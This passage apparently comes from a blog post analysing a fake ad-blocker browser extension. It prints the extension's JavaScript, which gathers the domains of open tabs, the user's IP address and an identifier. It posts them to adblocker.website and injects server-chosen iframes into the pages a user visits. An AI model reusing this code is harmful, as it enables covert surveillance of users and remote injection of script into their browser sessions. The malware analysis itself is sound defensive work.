class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">get_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">query_string<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain<\/span><span class=\"w\"> <\/span><span class=\"o\">===<\/span><span class=\"w\"> <\/span><span class=\"kc\">undefined<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">.<\/span><span class=\"nx\">push<\/span><span class=\"p\">(<\/span><span class=\"nx\">domain<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\">                       <\/span>\n<span class=\"w\">       <\/span><span class=\"p\">});<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">save_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">});<\/span><span class=\"w\">     <\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Surprisingly, the malware invests some effort to strip the\nnon-domain part of the URL:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * proper get Domain without any parameter<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">get_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">input<\/span><span class=\"p\">){<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span><span class=\"w\">       <\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_arr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">input<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;\/&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">output_www<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_arr<\/span><span class=\"p\">[<\/span><span class=\"mf\">2<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">find_str<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;www.&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">replace_str<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">output<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">output_www<\/span><span class=\"p\">.<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"nx\">find_str<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">replace_str<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nx\">output<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">err<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Domain undefined!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The domain tracking generates some tracking events:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * Hold the values in an global variable<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">save_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">();<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"p\">.<\/span><span class=\"nx\">getTime<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"o\">=<\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span><span class=\"nx\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"nx\">i<\/span><span class=\"o\">++<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">]<\/span><span class=\"o\">===<\/span><span class=\"kc\">undefined<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">continue<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">single_track<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;domain&quot;<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">],<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;lastUpdated&quot;<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;fCount&quot;<\/span><span class=\"o\">:<\/span><span class=\"mf\">1<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;tPointer&quot;<\/span><span class=\"o\">:<\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"p\">};<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">.<\/span><span class=\"nx\">push<\/span><span class=\"p\">(<\/span><span class=\"nx\">single_track<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Those events are passed with the collected campaign ID, the external IP address etc. to the actual send function:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">restriction_on_url<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">vFlag<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"o\">===<\/span><span class=\"kc\">undefined<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">msg_needle<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;&#39;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">end_n_get_time<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"p\">.<\/span><span class=\"nx\">getTime<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+=<\/span><span class=\"w\"> <\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">].<\/span><span class=\"nx\">domain<\/span><span class=\"o\">==<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">p_ip_address<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;u_ip_address&#39;<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">.<\/span><span class=\"nx\">substring<\/span><span class=\"p\">(<\/span><span class=\"mf\">0<\/span><span class=\"p\">,<\/span><span class=\"mf\">5<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">identifier<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">identifier<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">args<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"s1\">&#39;tracking_updates&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;domain_name_passed&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;vFlag&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">vFlag<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;i&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">i<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s2\">&quot;min_x_second_opened_global&quot;<\/span><span class=\"o\">:<\/span><span class=\"nx\">min_x_second_opened_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;parameter_2_global&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">parameter_2_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;parameter_1_global&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">parameter_1_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;end_n_get_time&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">end_n_get_time<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;p_ip_address&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">p_ip_address<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;identifier&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">identifier<\/span><span class=\"p\">};<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/tracking_updates[i].lastUpdated = end_n_get_time;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">triggerRequest<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;sfile&#39;<\/span><span class=\"p\">,<\/span><span class=\"s1\">&#39;POST&#39;<\/span><span class=\"p\">,<\/span><span class=\"nx\">args<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>This sensitive information is sent to <code>https:\/\/adblocker.website\/ublockscript.php<\/code> in <code>triggerRequest()<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">triggerRequest<\/span><span class=\"p\">(<\/span><span class=\"nx\">qstr<\/span><span class=\"p\">,<\/span><span class=\"nx\">type<\/span><span class=\"p\">,<\/span><span class=\"nx\">args<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">param<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryCode<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;BR&#39;<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryCode<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;countryCode&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">countryCode<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;https:\/\/adblocker.website\/ublockscript.php&#39;<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"nx\">type<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Content-type&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;application\/x-www-form-urlencoded&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"nx\">args<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"kc\">null<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;POST REQUEST!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tracking_updates=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">stringify<\/span><span class=\"p\">(<\/span><span class=\"nx\">args<\/span><span class=\"p\">));<\/span><span class=\"w\">     <\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Actually, the function does multiple things besides just sending\nthe data. If the server sends a certain response, this function\nsneakily injects an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Framing_(World_Wide_Web)\"><code>iframe<\/code><\/a> with a server supplied URL\ninto each opened web page. With that feature the attacker can\ndynamically inject more evil Java-Script into the victim's web\nsessions, possibly targeting only certain victims specifically.\nThink more tracking, stealing of user session data, in-browser\ncrypto-coin mining, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a> client or something like that.<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">onreadystatechange<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">readyState<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">4<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">200<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">responseText<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;params&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">array<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;=&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">array<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">].<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;,&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">configParams<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">               <\/span><span class=\"nx\">myConfigFunction<\/span><span class=\"p\">(<\/span><span class=\"kc\">null<\/span><span class=\"p\">,<\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">2<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">3<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">4<\/span><span class=\"p\">]);<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tupdate&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;xml-api&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">==-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;only tupdate!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;=&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">len<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">[<\/span><span class=\"nx\">len<\/span><span class=\"o\">-<\/span><span class=\"mf\">1<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">                   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">                       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"kd\">var<\/span><span class=\"w\">  <\/span><span class=\"nx\">tarr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[&#39;<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;]&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mf\">1<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"k\">if<\/span><span 